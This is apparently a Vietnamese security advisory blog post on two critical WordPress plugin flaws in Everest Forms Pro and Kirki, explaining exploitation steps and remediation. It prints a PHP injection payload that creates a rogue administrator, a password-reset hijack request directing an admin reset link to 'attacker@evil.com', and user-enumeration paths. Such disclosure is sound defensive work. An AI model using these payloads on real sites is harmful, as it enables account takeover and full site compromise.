Skip to main content

Command Palette

Search for a command to run...

Loạt lỗ hổng WordPress plugin nghiêm trọng cho phép chiếm đoạt tài khoản quản trị

Updated
6 min read
Loạt lỗ hổng WordPress plugin nghiêm trọng cho phép chiếm đoạt tài khoản quản trị

Trong những tuần gần đây, WordPress ecosystem đang chứng kiến một làn sóng lỗ hổng nghiêm trọng nhắm vào hai plugin phổ biến với tổng cộng hơn 600.000 website đang sử dụng. Hai lỗ hổng này — CVE-2026-3300 (Everest Forms Pro) và CVE-2026-8206 (Kirki) — đều cho phép kẻ tấn công chiếm đoạt hoặc tạo tài khoản quản trị viên mà không cần xác thực, từ đó kiểm soát hoàn toàn trang web. Cả hai lỗ hổng đều đang bị khai thác tích cực trên thực tế với hàng nghìn lần thử khai thác được ghi nhận, đặt ra yêu cầu triển khai các bản vá bảo mật là cấp thiết.

Thông tin chi tiết

  • Định danh lỗ hổng: CVE-2026-3300

  • Điểm CVSS(3.1): 9.8

  • Mức độ nghiêm trọng: CRITICAL – Cực kỳ nghiêm trọng

  • Mô tả: Lỗ hổng Remote Code Execution (RCE) trong tính năng Complex Calculation của Everest Forms Pro — plugin quản lý biểu mẫu thương mại cho WordPress. Lỗ hổng phát sinh do hàm process_filter() nối các giá trị do người dùng gửi qua form fields trực tiếp vào một chuỗi mã PHP, sau đó thực thi chuỗi đó bằng hàm eval() cực kỳ nguy hiểm. Mặc dù đầu vào được xử lý qua sanitize_text_field(), nhưng hàm này không escape dấu ngoặc đơn (single quotes) hoặc các ký tự ảnh hưởng tới ngữ pháp PHP. Kẻ tấn công có thể lợi dụng lỗi này để đóng câu lệnh gốc, chèn mã PHP độc hại, và thực thi nó với toàn quyền của máy chủ web. Phiên bản bị ảnh hưởng: Everest Forms Pro ≤ 1.9.12

Quá trình khai thác lỗ hổng diễn ra như sau:

  • Bước 1: Thu thập thông tin (Reconnaissance)

    • Mục tiêu: Xác định website sử dụng Everest Forms Pro với tính năng Complex Calculation được bật.

    • Hành động: Kẻ tấn công quét Internet tìm các website WordPress có Everest Forms Pro cài đặt (qua thông báo plugin, URL plugin, hoặc header HTTP). Xác định các biểu mẫu có tính năng Complex Calculation được bật.

  • Bước 2: Gửi Payload PHP Injection (Exploitation)

    • Kẻ tấn công gửi một form submission chứa giá trị field với payload PHP độc hại.

    • Payload thường được thiết kế để đóng câu lệnh gốc rồi thêm mã PHP mới, ví dụ:

 '; wp_create_user('diksimarina', 'password123', 'diksimarina@gmail.com'); wp_update_user_meta(ID, 'wp_capabilities', array('administrator' => true)); //
  • Bước 3: Plugin thực thi mã (Code Execution)

    • Plugin nối payload vào chuỗi mã PHP gốc.

    • Chuỗi được thực thi bằng eval().

    • Mã độc hại được chạy với toàn quyền của tiến trình web server (thường là user www-data hoặc apache).

  • Bước 4: Tạo Tài khoản Giả mạo (Account Creation)

    • Tài khoản quản trị viên mới được tạo với tên diksimarina và email diksimarina@gmail.com. Tài khoản này có toàn quyền quản trị.
  • Bước 5: Chiếm Đoạt Kiểm soát (Post-Exploitation)

    • Kẻ tấn công đăng nhập vào WordPress dashboard với tài khoản giả mạo. Cài đặt plugin độc hại, triển khai webshell, thay đổi nội dung, hoặc trích xuất dữ liệu.

  • Định danh lỗ hổng: CVE-2026-8206

  • Điểm CVSS(3.1): 9.8

  • Mức độ nghiêm trọng: CRITICAL – Cực kỳ nghiêm trọng

  • Mô tả: Lỗ hổng privilege escalation trong tính năng Forgot Password của Kirki — một plugin page builder và customizer phổ biến cho WordPress. Lỗ hổng phát sinh do plugin exposed một custom REST API endpoint thông qua hàm handle_forgot_password() mà không có bất kỳ xác thực nào. Endpoint này cho phép bất kỳ ai (kể cả người dùng không xác thực) gửi một yêu cầu password reset cho bất kỳ người dùng nào trên trang web — nhưng quan trọng hơn, chỉ định email address để gửi reset link tới. Do lỗi logic, endpoint không xác thực xem email đã gửi có phải là email gốc của người dùng hay không. Kẻ tấn công có thể tạo password reset link cho bất kỳ tài khoản nào (bao gồm admin) nhưng chỉ định email do chúng kiểm soát để nhận link. Một khi có link reset hợp lệ, kẻ tấn công thiết lập mật khẩu mới và chiếm đoạt tài khoản hoàn toàn.

  • Phiên bản bị ảnh hưởng: Kirki 6.0.0 – 6.0.6

Quá trình khai thác lỗ hổng diễn ra như sau:

  • Bước 1: Thu thập thông tin (Reconnaissance)

    • Mục tiêu: Xác định website sử dụng Kirki plugin và enumeration các user account.

    • Hành động: Kẻ tấn công xác định Kirki qua header HTTP hoặc asset files. Enumeration user bằng cách:

      • Truy cập /index.php?author=1 (author archives).

      • Query REST API endpoint /wp-json/wp/v2/users.

      • Phân tích response của login page (thông báo "user not found" vs "wrong password").

  • Bước 2: Gửi Yêu cầu Password Reset Giả mạo (Password Reset Hijacking)

    • Kẻ tấn công gửi HTTP request tới endpoint Kirki password reset:
    POST /wp-json/kirki/v1/forgot-password
    {
        "user": "admin",
        "email": "attacker@evil.com"
    }
  • Do endpoint không xác thực email, Kirki tạo password reset link.

  • Bước 3: Nhận Password Reset Link (Link Interception) và Thiết lập Mật khẩu Mới (Password Change)

    • Password reset link được gửi tới attacker@evil.com — email do kẻ tấn công kiểm soát.

    • Kẻ tấn công mở email, nhấp vào link reset và thiết lập mật khẩu mới cho tài khoản admin. Tại thời điểm này, kẻ tấn công có toàn quyền admin.

  • Bước 4: Chiếm Đoạt Kiểm soát (Post-Exploitation)

    • Đăng nhập vào WordPress dashboard với tư cách admin.

    • Cài đặt plugin độc hại, tạo backdoor, thay đổi nội dung, hoặc đánh cắp dữ liệu.


Khuyến nghị & Khắc phục

  • Cập nhật bản vá khẩn cấp:

    • Everest Forms Pro: Cập nhật lên phiên bản 1.9.13 hoặc cao hơn.

    • Kirki: Cập nhật lên phiên bản 6.0.7 hoặc cao hơn.

  • Rà soát, Tìm kiếm các dấu hiệu xâm phạm: Rà soát các tài khoản admin, kiểm tra access log để phát hiện các request tới plugin endpoint (Complex Calculation form cho Everest, /wp-json/kirki/v1/forgot-password cho Kirki). Rà soát log password reset và login events tìm kiếm hoạt động bất thường.

  • Biện pháp tạm thời nếu chưa vá kịp:

    • Disable plugin tạm thời: Gỡ cài đặt hoặc vô hiệu hóa plugin cho đến khi vá được. Đây là cách an toàn nhất.

    • Áp dụng WAF rules: Wordfence, Sucuri hoặc các dịch vụ WAF khác cung cấp rules để phát hiện và chặn các yêu cầu độc hại nhắm vào hai lỗ hổng này.

    • Giới hạn truy cập REST API: Nếu không cần REST API, disable hoặc giới hạn quyền truy cập.

  • Giám sát liên tục:

    • Bật firewall plugin (Wordfence, iThemes Security, Sucuri) để phát hiện các yêu cầu khai thác.

    • Rà soát admin audit log hàng ngày để phát hiện hoạt động đáng ngờ.

    • Cài đặt cảnh báo email cho mỗi khi tài khoản admin mới được tạo hoặc role được thay đổi.

Tham khảo

  1. Attackers Actively Exploiting Critical Vulnerability in Everest Forms Pro Plugin

  2. Unauthenticated Privilege Escalation Vulnerability Patched in Kirki WordPress Plugin